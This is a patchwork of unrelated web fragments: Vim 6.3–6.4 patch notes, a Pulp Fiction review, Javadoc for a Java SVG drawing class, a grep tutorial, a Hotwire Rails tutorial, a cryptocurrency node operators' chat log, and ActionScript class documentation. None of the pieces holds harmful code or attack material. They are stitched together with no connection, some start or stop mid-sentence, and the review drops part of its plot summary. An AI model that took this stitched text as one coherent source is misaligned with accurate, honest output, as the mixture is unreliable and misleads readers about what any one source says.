autocommand changes to another window (temporarily) 'mousefocus' stops working. Solution: Call gui_mouse_correct() after triggering CursorHold. Files: src/gui.c Patch 6.3.064 Problem: line2byte(line("$") + 1) sometimes returns the wrong number. (Charles Campbell) Solution: Flush the cached line before counting the bytes. Files: src/memline.c Patch 6.3.065 Problem: The euro digraph doesn't always work. Solution: Add an "e=" digraph for Unicode euro character and adjust the help files. Files: src/digraph.c, runtime/doc/digraph.txt Patch 6.3.066 Problem: Backup file may get wrong permissions. Solution: Use permissions of original file for backup file in more places. Files: src/fileio.c Patch 6.3.067 (after 6.3.066) Problem: Newly created file gets execute permission. Solution: Check for "perm" to be negative before using it. Files: src/fileio.c Patch 6.3.068 Problem: When editing a compressed file xxx.gz which is a symbolic link to the actual file a ":write" renames the link. Solution: Resolve the link, so that the actual file is renamed and compressed. Files: runtime/plugin/gzip.vim Patch 6.3.069 Problem: When converting text with illegal characters Vim may crash. Solution: Avoid that too much is subtracted from the length. (Da Woon Jung) Files: src/mbyte.c Patch 6.3.070 Problem: After ":set number linebreak wrap" and a vertical split, moving the vertical separator far left will crash Vim. (Georg Dahn) Solution: Avoid dividing by zero. Files: src/charset.c Patch 6.3.071 Problem: The message for CTRL-X mode is still displayed after an error for 'thesaurus' or 'dictionary' being empty. Solution: Clear "edit_submode". Files: src/edit.c Patch 6.3.072 Problem: Crash in giving substitute message when language is Chinese and encoding is utf-8. (Yongwei) Solution: Make the msg_buf size larger when using multi-byte. Files: src/vim.h Patch 6.3.073 Problem: Win32 GUI: When the Vim window is partly above or below the screen, scrolling causes display errors when the taskbar is not on that side. Solution: Use the SW_INVALIDATE flag when the Vim window is partly below or above the screen. Files: src/gui_w48.c Patch 6.3.074 Problem: When mswin.vim is used and 'insertmode' is set, typing text in Select mode and then using CTRL-V results in <SNR>99_Pastegi. (Georg Dahn) Solution: When restart_edit is set use "d" instead of "c" to remove the selected text to avoid calling edit() twice. Files: src/normal.c Patch 6.3.075 Problem: After unloading another buffer, syntax highlighting in the current buffer may be wrong when it uses "containedin". (Eric Arnold) Solution: Use "buf" instead of "curbuf" in syntax_clear(). Files: src/syntax.c Patch 6.3.076 Problem: Crash when using cscope and there is a parse error (e.g., line too long). (Alexey I. Froloff) Solution: Pass the actual number of matches to cs_manage_matches() and correctly handle the error situation. Files: src/if_cscope.c Patch 6.3.077 (extra) Problem: VMS: First character input after ESC was not recognized. Solution: Added TRM$M_TM_TIMED in vms_read(). (Zoltan Arpadffy) Files: src/os_vms.c Patch 6.3.078 (extra, after 6.3.077) Problem: VMS: Performance issue after patch 6.3.077 Solution: Add a timeout in the itemlist. (Zoltan Arpadffy) Files: src/os_vms.c Patch 6.3.079 Problem: Crash when executing a command in the command line window while syntax highlighting is enabled. (Pero Brbora) Solution: Don't use a pointer to a buffer that has been deleted. Files: src/syntax.c Patch 6.3.080 (extra) Problem: Win32: With 'encoding' set to utf-8 while the current codepage is Chinese editing a file with some specific characters in the name fails. Solution: Use _wfullpath() instead of _fullpath() when necessary. Files: src/os_mswin.c Patch 6.3.081 Problem: Unix: glob() may execute a shell command when it's not wanted. (Georgi Guninski) Solution: Verify the sandbox flag is not set. Files: src/os_unix.c Patch 6.3.082 (after 6.3.081) Problem: Unix: expand() may execute a shell command when it's not wanted. (Georgi Guninski) Solution: A more generic solution than 6.3.081. Files: src/os_unix.c Patch 6.3.083 Problem: VMS: The vt320 termcap entry is incomplete. Solution: Add missing function keys. (Zoltan Arpadffy) Files: src/term.c Patch 6.3.084 (extra) Problem: Cygwin: compiling with DEBUG doesn't work. Perl path was ignored. Failure when $(OUTDIR) already exists. "po" makefile is missing. Solution: Use changes tested in Vim 7. (Tony Mechelynck) Files: src/Make_cyg.mak, src/po/Make_cyg.mak Patch 6.3.085 Problem: Crash in syntax highlighting code. (Marc Espie) Solution: Prevent current_col going past the end of the line. Files: src/syntax.c Patch 6.3.086 (extra) Problem: Can't produce message translation file with msgfmt that checks printf strings. Solution: Fix the Russian translation. Files: src/po/ru.po, src/po/ru.cp1251.po Patch 6.3.087 Problem: MS-DOS: Crash. (Jason Hood) Solution: Don't call fname_case() with a NULL pointer. Files: src/ex_cmds.c Patch 6.3.088 Problem: Editing ".in" causes error E218. (Stefan Karlsson) Solution: Require some characters before ".in". Same for ".orig" and others. Files: runtime/filetype.vim Patch 6.3.089 Problem: A session file doesn't work when created while the current directory contains a space or the directory of the session files contains a space. (Paolo Giarrusso) Solution: Escape spaces with a backslash. Files: src/ex_docmd.c Patch 6.3.090 Problem: A very big value for 'columns' or 'lines' may cause a crash. Solution: Limit the values to 10000 and 1000. Files: src/option.c Patch 6.4a.001 Problem: The Unix Makefile contained too many dependencies and a few uncommented lines. Solution: Run "make depend" with manual changes to avoid a gcc incompatibility. Comment a few lines. Files: src/Makefile Patch 6.4b.001 Problem: Vim reports "Vim 6.4a" in the ":version" output. Solution: Change "a" to "b". (Tony Mechelynck) Files: src/version.h Patch 6.4b.002 Problem: In Insert mode, pasting a multi-byte character after the end of the line leaves the cursor just before that character. Solution: Make sure "gP" leaves the cursor in the right place when 'virtualedit' is set. Files: src/ops.c Patch 6.4b.003 (after 6.4b.002) Problem: The problem still exists when 'encoding' is set to "cp936". Solution: Fix the problem in getvvcol(), compute the coladd field correctly. Files: src/charset.c, src/ops.c Patch 6.4b.004 Problem: Selecting a {} block with "viB" includes the '}' when there is an empty line before it. Solution: Don't advance the cursor to include a line break when it's already at the line break. Files: src/search.c top - main help file


Pulp Fiction (1994)
Review by Laurence Mixson<EMAIL_ADDRESS>Starring John Tavolta, Samuel L. Jackson, Uma Thurman, Bruce Willis, Ving Rhames, Harvey Keitel, Tim Roth, Amanda Plummer, Quentin Tarantino, and Christopher Walken.
***** out of ****
Artistically speaking, Pulp Fiction was hands-down the best movie of 1994, and I'd even say it was the best movie of the '90's. Yet it's also one of the most misunderstood films out there. Pulp Fiction only won two oscars at the 1994 Academy Awards, although it was nominated for many, including Best Picture and Best Actor. The two oscars it did manage to walk away with were for Best Original Screenplay(to Roger Avery and Quentin Tarantino) and Best Supporting Actor(to Samuel L. Jackson.) It's main competition, Forrest Gump, got away with the rest. Yet Pulp Fiction was a better film than Forrest Gump. Now don't get me wrong here; I loved Forrest Gump, it was a **** film. It was a wonderfully orignal comedy/drama that genuinely made you feel for an unlikely hero. But that's about all it was: an original movie that was fun to watch. Pulp Fiction contained, and stood, for a whole lot more. To get to the plot: there's nothing conventional about Pulp Fiction, including the plot structure. The movie is comprised of three stories, but it's not an anthology, because the stories connect. Not only that, but they cut off and then start back up again at different times, in between segments. Pulp Fiction doesn't follow in a chronological order, either, and in one bizarre side effect of this, a character is shot dead in the middle of the film yet returns again at the finale, because of the film's odd continuity.  The second one concerns two hitman(Travolta, Jackson), as they go to "finish up some business" with their boss' estranged business assosciates. The third is about a boxer(Willis) who upsets that same boss(Rhames) after refusing to take a fall in a match the boss bet heavily on. There's more to each story than that, of course, but I only listed the opening scenes of each segment. The first story is the weakest and takes up the least screeen time; the two lovers, known only as Pumpkin and Honey Bunny(their pet names for one another) basically just sit around and talk about the robbery. That is, until they meet up with the hitmen later. Those two hitmen, named Vincent(Travolta) and Jules(Jackson), have the most interesting story going for them, and it takes up the most screen time and is divided into several parts. Their scene opens with them driving to a hit in their car. Later scenes include Vincent taking his boss' wife out while the boss, name Marcellus Wallace, is out of town(it's a favor for the boss) and, uh "cleaning up" after a hilarious incidence that occurs in his car. I'll touch on that one later... The boxer segment deals with Butch Coolidge(Willis), who is payed by Marcellus to take a fall in the 5th round. He refuses to do so, and actually winds up killing his opponent in the ring. He escapes, and later he and the Marcellus have an intersting run-in with two hicks in a pawn shop. The best thing about Pulp Fiction is that each of these stories are deeper and more complex than they sound on the surface: for one thing, they're very realistic. When Vincent and Jules are driving to the place where they're to carry out their hit, they don't act like the "cool" hitmen you always see on the screen. They discuss what hamburgers are called in France(Royales with Cheese)and such. These conversations are not only hilarious in their content but are funny because of who's saying it. The most humorous scene, the one I mentioned earlier, occurs when they're transporting a guy named Marvin back to their boss, Marcellus.  In a panic, they rush to a friend's house, Jimmy(Tarantino)who contacts Wintson Wolf(Keitel) to come and help them clean up the gore and dispose of the car. This scene works, in terms of humor, not only because of everyone's dialogue as they work, but because everyone, including Marcellus, is panicking and trying to hurry the clean-up simply because Jimmy's wife comes home soon, and she would divorce Jimmy if she saw those people in her home. The sight of all these tough hitmen and cold-blooded killers panicking over a woman coming home is way too funny. Pulp Fiction was heavily criticized when it came out for being violent, but I actually thought the violence was very subdued, and nothing compared to most movies these days. When people are shot, it's almost always off camera and rarely bloody. Sure, poor Marvin has his head blown off, but all that's shown is the blood splattered everywhere, not the actual act. Die Hard with a Vengeance or Desperado were both a hundred times more violent than Pulp Fiction, as I'm sure anyone who's seen these films will agree, yet no one whined and complained about those pictures. So what's the deal with Pulp Fiction? Basically, if you're into comedies, dramas, action pictures, arthouse films, or something a little different, then Pulp Fiction will work for you, because it manages to take the best elements from all of these genres and combine them into one great big spectacle of a motion picture. So go to the nearest video store and rent a copy if you haven't seen it yet. Or even if you have. Trust me, you won't be dissapointed.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


◆ Drawing()
| com.aarrelaakso.drawl.Drawing.Drawing |
( |
| ) |
|
◆ [static initializer]()
| com.aarrelaakso.drawl.Drawing.[static initializer] |
( |
| ) |
|
|
staticpackage |
◆ add()
| void com.aarrelaakso.drawl.Drawing.add |
( |
@NotNull Shape |
shape | ) |
|
Add a shape to this drawing.
- Parameters
-
◆ getExplicitHeight()
Get the explicit height of this Drawing.
- Returns
- The explicit height of this Drawing, or null if the drawing has length zero or the explicit dimensions have not been set.
◆ getExplicitToImplicitRatio()
| SisuBigDecimal com.aarrelaakso.drawl.Drawing.getExplicitToImplicitRatio |
( |
| ) |
|
Get the ratio of explicit measures to implicit measures for this Drawing as a whole.
This is the ratio of the explicit dimension of the Drawing to the implicit dimension of its contents.
This method is different from getExplicitHeightPerImplicitHeight() and getExplicitWidthPerImplicitWidth() in that it takes into account both height constraints and width constraints.
- Returns
- The ratio of explicit measures to implicit measures for this diagram as a whole.
◆ getExplicitWidth()
Get the explicit width of this Drawing.
- Returns
- The explicit width of this Drawing, or null if the drawing has length zero or the explicit dimensions have not been set.
◆ getExplicitWidthPerImplicitWidth()
| SisuBigDecimal com.aarrelaakso.drawl.Drawing.getExplicitWidthPerImplicitWidth |
( |
| ) |
|
Get the ratio of the explicit width of this drawing to the implicit width of its contents.
- Returns
- The ratio of the explicit width of this drawing to the implicit width of its contents.
◆ getImplicitHeight()
Get the implicit total height of all contents in the drawing.
Provides public access to the implicit height of the contents.
◆ getImplicitWidth()
Get the implicit total width of all contents in this Drawing.
Provides public access to the implicit width of the contents for testing.
◆ getSVG() [1/3]
| String com.aarrelaakso.drawl.Drawing.getSVG |
( |
Float |
drawingWidth, |
|
|
Float |
drawingHeight |
|
) |
| |
Get the SVG for this Drawing.
- Parameters
-
| drawingWidth | The desired width of the output; the type is Float to match the SVG spec for numeric precision. |
| drawingHeight | The desired height of the output; the type is Float to match the SVG spec for numeric precision. |
- Returns
- A string of valid SVG that depicts the drawing within the bounds of drawingWidth and drawingHeight.
◆ getSVG() [2/3]
| String com.aarrelaakso.drawl.Drawing.getSVG |
( |
Integer |
drawingWidth, |
|
|
Integer |
drawingHeight |
|
) |
| |
Get the SVG for this drawing.
- Parameters
-
| drawingWidth | The desired width of the output; the type is Integer to allow for common use cases. |
| drawingHeight | The desired height of the output; the type is Integer to allow for common use cases. |
- Returns
- A string of valid SVG that depicts the drawing within the bounds of drawingWidth and drawingHeight.
◆ getSVG() [3/3]
| String com.aarrelaakso.drawl.Drawing.getSVG |
( |
| ) |
|
Get the SVG for this Drawing.
Assumes that the explicit width and height have been set
- Returns
- A string of valid SVG that depicts the drawing within the bounds of the explicit width and height
◆ length()
| Integer com.aarrelaakso.drawl.Drawing.length |
( |
| ) |
|
Get the number of items in this Drawing.
- Returns
- the number of items in this Drawing
◆ setExplicitDimensions() [1/2]
| void com.aarrelaakso.drawl.Drawing.setExplicitDimensions |
( |
Float |
explicitWidthOfDrawingFloat, |
|
|
Float |
explicitHeightOfDrawingFloat |
|
) |
| |
Set the explicit dimensions of this Drawing.
It is preferable to do it this way rather than setting width and height separately.
- Parameters
-
| explicitWidthOfDrawingFloat | The explicit width of the Drawing. |
| explicitHeightOfDrawingFloat | The explicit height of the Drawing. |
◆ setExplicitDimensions() [2/2]
| void com.aarrelaakso.drawl.Drawing.setExplicitDimensions |
( |
Integer |
explicitWidthOfDrawing, |
|
|
Integer |
explicitHeightOfDrawing |
|
) |
| |
Set the explicit dimensions of this Drawing.
It is preferable to do it this way rather than setting the dimensions separately.
This convenience method takes Integer parameters to allow for common use cases.
- Parameters
-
| explicitWidthOfDrawing | The explicit width of the Drawing. |
| explicitHeightOfDrawing | The explicit height of the Drawing. |
◆ setExplicitHeight() [1/2]
| void com.aarrelaakso.drawl.Drawing.setExplicitHeight |
( |
Float |
height | ) |
|
Set the explicit height of this Drawing.
- Parameters
-
| height | the explicit height of the Drawing; it is a Float to match the precision allowed by the SVG spec. |
◆ setExplicitHeight() [2/2]
| void com.aarrelaakso.drawl.Drawing.setExplicitHeight |
( |
Integer |
height | ) |
|
Set the explicit height of this Drawing.
- Parameters
-
| height | The explicit height of the Drawing; it is an Integer to allow for common use cases. |
◆ setExplicitWidth() [1/2]
| void com.aarrelaakso.drawl.Drawing.setExplicitWidth |
( |
Float |
width | ) |
|
Set the explicit width of this Drawing.
- Parameters
-
| width | the explicit width of the Drawing; it is a Float to match the precision allowed by the SVG spec. |
◆ setExplicitWidth() [2/2]
| void com.aarrelaakso.drawl.Drawing.setExplicitWidth |
( |
Integer |
width | ) |
|
Set the explicit width of this Drawing.
- Parameters
-
| width | The explicit width of the Drawing; it is an Integer to allow for common use cases. |
◆ writeToFile()
| void com.aarrelaakso.drawl.Drawing.writeToFile |
( |
String |
filename | ) |
throws IOException |
Write SVG representing this drawing to a file.
- Parameters
-
| filename | The name of the file to which to write. |
- Exceptions
-
| IOException | If there is a problem writing to the file. |
The documentation for this class was generated from the following file:
- /mnt/d/OneDrive/Documents/src/drawl/src/main/java/com/aarrelaakso/drawl/Drawing.java


The base theme for SimpleMDE , you can easily create your custom theme based on this.
Thanks to SimpleMDE for the great editor and Mobi.css for the inspiration of styling.


The basics of grep
September 18th, 2016
The Command Line
When I was first learning programming I intentionally stayed away from the command line. I could go to the command prompt when necessary, but quickly escaped back to the comfort of the GUI tools. It took me a long time to see the value of the command line, and now the CLI is an essential part of my workflow.
The hardest part of becoming comfortable with the CLI was remembering all the commands. I am a spatial thinker. It is easy for me to remember the location of buttons and menus to click. Remembering the names and options of commands took training and practice.
The first Unix tool I remember using (beyond simple directory exploration) that was my real "ah-ha" moment was grep. I want to show a couple of examples about how it can be useful for every searching situations.
Finding matching files
The ls command lists all files and directories in your current directory or a provided directory. The output of the ls command can be piped (with the | symbol) to the grep command to perform some searching of the results.
So lets imagine a scenario where you have a directory full of log files. These log files are generated when an application that is running on your machine encounters errors. When the log files are generated they have a filename covention of ERROR-YYYY-MM-DD-SEQUENCE.log. Let us further imagine this application has been running for years and there are thousands of files.
If you wanted to find all the log files in a directory that match a certain signature, say for instance all the files from September of 2016 you could do this:
ls | grep "2016-09"
This is incredibly useful for searching directories with lots of files, but the real power of grep can be seen when we use it search the contents of files.
Grep options
Like most other Unix commands, grep can take options. There are several options but three that I always use: --recursive (search all the files in all the directories below where I say to start), --ignore-case (searching for "Unix" will match both "unix" and "UNIX"), and --line-number (display the line number of the files where matches are found). Thats a lot of characters to type so I use the short form of each: -r, -i, -n and further combine them as -rin. So every time I use grep for searching through the contents of files I instincively type "grep -rin".
Now that the options are out of the way the next parameter is the text to search for. The search pattern can use Unix regular-expressions, but lets call that an advanced feature and demonstrate something simple. If I wanted to search all the files and files in subfolders (remember the --recursive or -r option) for the string "security" then I could do this:
grep -rin security .
The final period character at the end of the command tells grep to start searching in the current working directory. I could have just as easily told it to search elsewhere using something like this:
grep -rin security ~/Documents
If the pattern you are searching for contains spaces or other special characters you can surround your search string in double quotes like this:
grep -rin "network security" ~/Documents
Excluding directories from grep
Finally I want to show you how to exclude directories from the recursive searching. This can be very useful if there is a lot of nested directories (for instance NodeJS developers and the node_modules folder.)
The --exclude-dir= option (there is no short-form) takes a glob pattern and leaves the matching directories out of the search. Therefore:
grep -rin --exclude-dir=node_modules index .
This would search the current directory recursively for the pattern "index", but exclude the node_modules folder. If you have multiple directories you would like to exclude you can wrap the pattern in curly braces and comma-seperate the glob patterns, making sure to not leave spaces between the patterns, for instance:
grep -rin --exclude-dir={node_modules,dist} index .
Conclusion
I hope you were able to learn something new by reading this. It took me a long time to feel comfortable at the command line, and feel confident that I was not going to destroy my system by issuing the wrong command. My advice is to practice these commands and other simple commands (which I will cover in another post) and grow incrementally.


Note: Update is immediate. If the app is live, Please clone the app, make changes in the cloned app and then save as back!


Web/Docs: https://hotwire.dev/
Final SPA Hotwire Rails App
Test - Real-Time SPA
goal is that the following all work as a real-time single-page app
Create our app, model with validations and routes
$ rails new tweets -d postgresql -T --skip-turbolinks
$ cd tweets
$ bin/rails g scaffold tweet body:text
# update the migration to dissallow nil in body
$ bin/rails db:create
$ bin/rails db:migrate
# app/models/tweet.rb
class Tweet < ApplicationRecord
validates :body, presence: true
end
# config/routes.rb
Rails.application.routes.draw do
resources :tweets
root to: "tweets#index"
end
Add Bootstrap
# app/views/layouts/application.html.erb
<link rel="stylesheet"
<EMAIL_ADDRESS>integrity="sha384-B0vP5xmATw1+K9KRQjQERJvTumQW0nPEzvF6L/Z6nronJ3oUOFUFpCjEUQouq2+l"
crossorigin="anonymous">
<%= stylesheet_link_tag 'application' , media: 'all' %>
<%= javascript_pack_tag 'application' %>

Partials are very helpful for hotwire 'frames', so we will make a tweet partial
# app/views/tweets/_tweet.html.erb

<%= tweet.body %>

<%= render "tweets/tweet_actions" , tweet: tweet %>

and a tweet action partial
# app/views/tweets/_tweet_actions.html.erb

<%= link_to 'Edit' , edit_tweet_path(tweet), class: "btn btn-sm btn-outline-primary" %>
<%= link_to 'Destroy' , tweet_path(tweet), method: :delete,
data: { confirm: 'Are you sure?' }, class: "btn btn-sm btn-outline-danger" %>

to use the new partials and add a bit of formatting,
we update the index template (view)
# app/views/tweets/index.html.erb

Tweets

New Tweet

<%= render "tweets/form" , tweet: @tweet %>

Tweet Feed

<%= render @tweets %>
and show template (view)
# app/views/tweets/show.html.erb
<%= render @tweet %>
<%= link_to 'Back' , tweets_path %>
CONTROLLER:
# app/controllers/tweets_controller.rb
class TweetsController < ApplicationController
def index
@tweets = Tweet.all.order(created_at: :desc) # newest first
@tweet = Tweet.new # allows new form on index page
end
def create
@tweet = Tweet.new(tweet_params)
respond_to do |format|
if @tweet.save # render index not show
format.html { redirect_to tweets_url, notice: "Tweet was successfully created." }
format.json { render :show, status: :created, location: @tweet }
else
format.html { render :new, status: :unprocessable_entity }
format.json { render json: @tweet.errors, status: :unprocessable_entity }
end
end
end
Finally, since the form is on the index page let's add a cancel button to clear the form

<%= form.submit class: "btn btn-sm btn-outline-success" %>
<%= link_to "Cancel" , @tweet, class: "btn btn-sm btn-outline-danger" %>

https://github.com/btihen/ruby_kafi_hotwire_tweets/tree/standard_tweets/app/views/tweets
Install
REQUIREMENT: Redis installed and running on host system
$ bundle add hotwire-rails
$ bin/rails hotwire:install
For demo only add CSS to see the turbo-frames we add
# app/assets/stylesheets/tweets.scss
turbo-frame {
display: block;
border: 2px solid green
}
Configure
https://github.com/btihen/ruby_kafi_hotwire_tweets/tree/hotwire_install_config/app/views/tweets
# app/views/layouts/application.html.erb
<%= yield :head %>
<%= turbo_include_tags %>

In the head of `application.html.erb`
If turbo-links was installed verify its removed everywhere
# app/models/tweet.rb
class Tweet < ApplicationRecord
validates :body, presence: true
after_create_commit { broadcast_prepend_to "tweets" }
end
this creates and connects model to a "tweets" stream / channel
# app/views/tweets/index.html.erb

Tweets

<%= turbo_stream_from "tweets" %>

New Tweet

<%= render "tweets/form" , tweet: @tweet %>

Tweet Feed

<%= turbo_frame_tag "tweets" do %>
<%= render @tweets %>
<% end %>
this connects newly created tweets to the "tweets" `stream`
Test/Demo
(with two browsers):
https://github.com/btihen/ruby_kafi_hotwire_tweets/tree/hotwire_broadcast_create
# app/models/tweet.rb
class Tweet < ApplicationRecord
validates :body, presence: true
after_create_commit { broadcast_prepend_to "tweets" }
after_destroy_commit { broadcast_remove_to "tweets" }
end
Enable broadcasting Delete
Each tweet displayed needs its own frame
# app/views/tweets/_tweet.html.erb
<%= turbo_frame_tag dom_id(tweet) do %>

<%= tweet.body %>
<%= render "actions", locals: {tweet: tweet} %>

<% end %>
in this way turbo can find and remove the exact tweet HTML
with just the tweet in the frame (without the dom_id) the dom_id uses the object memory address (not very readable)!
Test/Demo
(with two browsers):
We need to enable turbo in the forms so it knows what and where to update
https://github.com/btihen/ruby_kafi_hotwire_tweets/tree/hotwire_broadcast_delete
We will update the model again
# app/models/tweet.rb
class Tweet < ApplicationRecord
validates :body, presence: true
after_create_commit { broadcast_prepend_to "tweets" }
after_destroy_commit { broadcast_remove_to "tweets" }
after_update_commit { broadcast_replace_to "tweets" }
end
Forms are a bit complicated (we'll do them last).
Let's test update with the console
$ bin/rails c
> tweet = Tweet.all.sample
> tweet.update(body: "changed")
> tweet = Tweet.all.sample
> tweet.destroy
> Tweet.create(body: "nothing new")
we see that both pages updated!
Test/Demo
(let's be sure nothing broke):
We still need to enable turbo in the forms so we can update in the GUI
https://github.com/btihen/ruby_kafi_hotwire_tweets/tree/hotwire_broadcast_update
Add `turbo_frame_tag "tweet-form"` around the form.
# app/views/tweets/index.html.erb

Tweets

<%= turbo_stream_from "tweets" %>

New Tweet

<%= turbo_frame_tag "tweet-form" do %>
<%= render "tweets/form" , tweet: @tweet %>
<% end %>

Tweet Feed

<%= turbo_frame_tag "tweets" do %>
<%= render @tweets %>
<% end %>
Create works but not validation errors.
In our controller we can tell turbo how to update an invalid form.
# app/controllers/tweets_controller.rb
def create
@tweet = Tweet.new(tweet_params)
respond_to do |format|
if @tweet.save
format.html { redirect_to tweets_url, notice: "Tweet was successfully created." }
format.json { render :show, status: :created, location: @tweet }
else
format.turbo_stream { # route turbo validation errors to replace `form`
render turbo_stream: turbo_stream.replace(
@tweet, partial: "tweets/form",
locals: { tweet: @tweet}) }
format.html { render :new, status: :unprocessable_entity }
format.json { render json: @tweet.errors, status: :unprocessable_entity }
end
end
end
now it can route the error condition but doesn't know where to send the updated html form (we need another dom_id)
If we add a DOM-ID to the form now the validations errors html can be updated
# app/views/tweets/_form.html.erb
<%= form_with(model: tweet, id: dom_id(tweet)) do |form| %>
<%# ... %>
<% end %>
Whew - validations work again.
Test/Demo
(let's be sure nothing broke):
We still need to enable turbo in the forms so we can update in the GUI
https://github.com/btihen/ruby_kafi_hotwire_tweets/tree/hotwire_enable_forms_new
# app/views/tweets/edit.html.erb

Editing Tweet

<%= turbo_frame_tag dom_id(@tweet) do %>

<%= render 'form' , tweet: @tweet %>

<% end %>
In-order for Turbo to know how to replace the `show` view with
the `edit` view -- add a `frame` with a dom_id to the edit view
Test/Demo
(let's be sure nothing broke):
Rails is sending the `show` html, but doesn't know where to inject it into the page
The solution is to add a dom_id to the show page too
# app/views/tweets/show.html.erb
<%= turbo_frame_tag dom_id(@tweet) do %>
<%= render @tweet %>
<% end %>
Now our app works fully as a Real-Time Single Page App!
Test/Demo
https://github.com/btihen/ruby_kafi_hotwire_tweets/tree/hotwire_enable_forms_edit
Benefits
Drawbacks
(subject to change)
Hotwire MUST send data to PARTIALS -- so we will make a flash partial (from the default rails notification).
Now add the partial to the `application.html.erb` file
# app/views/shared/_notification.html.erb

<%= notice %>

# app/views/layouts/application.html.erb

<%= render "shared/notice" , notice: notice %>
<%= yield %>

now we need to tell hotwire how to send to the flash message - so we will create a turbo_template and have the controller use it:
# app/views/tweets/create.turbo_stream.erb
<%# to send a message to the notice partial %>
<%= turbo_stream.append "notice" , partial: "shared/notice" ,
locals: {notice: "Tweet was successfully created." } %>
# app/controllers/tweets_controller.rb
def create
@tweet = Tweet.new(tweet_params)
respond_to do |format|
if @tweet.save
format.turbo_stream # uses the `create.turbo_stream.erb` template
format.html { redirect_to tweets_url, notice: "Tweet was created." }
format.json { render :show, status: :created, location: @tweet }
else
format.turbo_stream {render turbo_stream: turbo_stream.replace(
@tweet, partial: "tweets/form",
locals: { tweet: @tweet}) }
format.html { render :new, status: :unprocessable_entity }
format.json { render json: @tweet.errors, status: :unprocessable_entity }
end
end
end
cool it works, but we have a new little bug - the new form doesn't clear after create,
to fix we can either use JS or we can send a blank tweet to the form:
# app/views/tweets/create.turbo_stream.erb
<%# to send a message to the notice partial %>
<%= turbo_stream.append "notice", partial: "shared/notice" ,
locals: {notice: "Tweet was created." } %>
<%# clear form on create - without js %>
<%= turbo_stream.replace "tweet-form", partial: "tweets/form",
locals: { tweet: Tweet.new } %>
<%# NOTE: DO NOT TRY the following -- model is broadcasting - you will get two! %>
<%# turbo_stream.prepend "tweets", partial: "tweets/tweet",
locals: { tweet: @tweet } %>
update is even simpler since the form doesn't need clearing (its already replaced with `show`)
# app/views/tweets/update.turbo_stream.erb
<%# to send a message to the notice partial %>
<%= turbo_stream.append "notice" , partial: "shared/notice" ,
locals: {notice: "Tweet was updated." } %>
# app/controllers/tweets_controller.rb
def update
respond_to do |format|
if @tweet.update(tweet_params)
format.turbo_stream # uses the `update.turbo_stream.erb` template
format.html { redirect_to @tweet, notice: "Tweet was successfully updated." }
format.json { render :show, status: :ok, location: @tweet }
else
format.html { render :edit, status: :unprocessable_entity }
format.json { render json: @tweet.errors, status: :unprocessable_entity }
end
end
end
https://github.com/btihen/ruby_kafi_hotwire_tweets/tree/hotwire_flash_messages
Pre - Bootstrap needs jquery for this - update application.html.erb with:
# application.html.erb

<%= notice %>

<%= yield %>


trying to rererererererresync with another node IP
dukeleto24-Sep-18 04:18 PM
ok, now that PIRATE is notarizing, we need one more NN to get Hush working to make a notarization! we are at 12 nodes
PIRATE beat Hush to notarizations in prod, impressive
@webworker01 i am running supernet dev which includes Hush stuff as well as utxo locking
Deleted User24-Sep-18 04:19 PM
cause it s an AC
do you see me on SET @dukeleto ?
dukeleto24-Sep-18 04:20 PM
I think maybe that is why many NNs haven't updated
utxo locking changes some stuff
but if it works (and it seems to for me), James will merge it soon
Deleted User24-Sep-18 04:21 PM
on my side the only risk is ending with more utxos than I expect, as listunspent doesn t take into account the amount of listlockunspent, but not a problem
It seems to be going through all the blocks(edited)
blackjok3r25-Sep-18 04:36 AM
MGNX
Its the PoS percentage prints... I think its prety well enoughj tested they can be removed now @jl777c ? They are kind of annoying.
jl777c25-Sep-18 07:26 AM
it is removed in FSM branch, will propagate next time I push to jl777 and dev
1
siu - Chainmakers25-Sep-18 01:12 PM
my gamecredits node broke
blackjok3r25-Sep-18 01:49 PM
by that do you mean the notarizations DB dissapeared and you needed to reync it? has ahppened to be once or twice, but I thaught it was because of disk issues.
siu - Chainmakers25-Sep-18 02:07 PM
something like that
errorfile db.log
@blackjok3r
but the client doesnt start at all
also, there is no pirate_7776 file in iguana/coins
blackjok3r25-Sep-18 02:08 PM
mine still ran, but just had no notarizations and wouldnt sync past some block.
siu - Chainmakers25-Sep-18 02:08 PM
in beta branch
blackjok3r25-Sep-18 02:08 PM
you need DEV branch of iguana
siu - Chainmakers25-Sep-18 02:08 PM
ohh ok
blackjok3r25-Sep-18 02:08 PM
new coins wont work on beta
siu - Chainmakers25-Sep-18 02:08 PM
im using beta
ok
blackjok3r25-Sep-18 02:08 PM
or you can wait until its merged to beta
dev was a test update to make sure working... seems HUSH is not.
is there a place where I can find all older versions of agama ? @Smk-High lost funds on older version using QR code to unlock agama, he reports that unlocking today with QR results in unlocking a totally different address. I'd like to test multiple versions of agama and generated QR.
he was on <IP_ADDRESS>, but the github seems to have moved from supernet to komodoplatform


Large button Large button
Default button Default button
Small button Small button
Extra small button Extra small button


| Package | com.threerings.display |
| Class | public class FrameSprite |
| Inheritance | FrameSprite flash.display.Sprite |
| Property | Defined by | ||
|---|---|---|---|
| _renderOnAdd : Boolean Should we call handleFrame() when we get ADDED_TO_STAGE?
| FrameSprite |
| Method | Defined by | ||
|---|---|---|---|
|
FrameSprite(renderFrameUponAdding:Boolean = true)
| FrameSprite |
| Method | Defined by | ||
|---|---|---|---|
|
handleAdded(... ignored):void
Called when we're added to the stage.
| FrameSprite | ||
|
handleFrame(... ignored):void
Called to update our visual appearance prior to each frame.
| FrameSprite | ||
|
handleRemoved(... ignored):void
Called when we're added to the stage.
| FrameSprite |
| _renderOnAdd | property |
protected var _renderOnAdd:Boolean
Should we call handleFrame() when we get ADDED_TO_STAGE?
| FrameSprite | () | constructor |
public function FrameSprite(renderFrameUponAdding:Boolean = true)
Parameters
renderFrameUponAdding:Boolean (default = true ) — if true, the handleFrame() method
is called whenever an ADDED_TO_STAGE event is received.
|
| handleAdded | () | method |
protected function handleAdded(... ignored):void
Called when we're added to the stage.
Parameters... ignored |
| handleFrame | () | method |
protected function handleFrame(... ignored):void
Called to update our visual appearance prior to each frame.
Parameters... ignored |
| handleRemoved | () | method |
protected function handleRemoved(... ignored):void
Called when we're added to the stage.
Parameters... ignored |


About Us
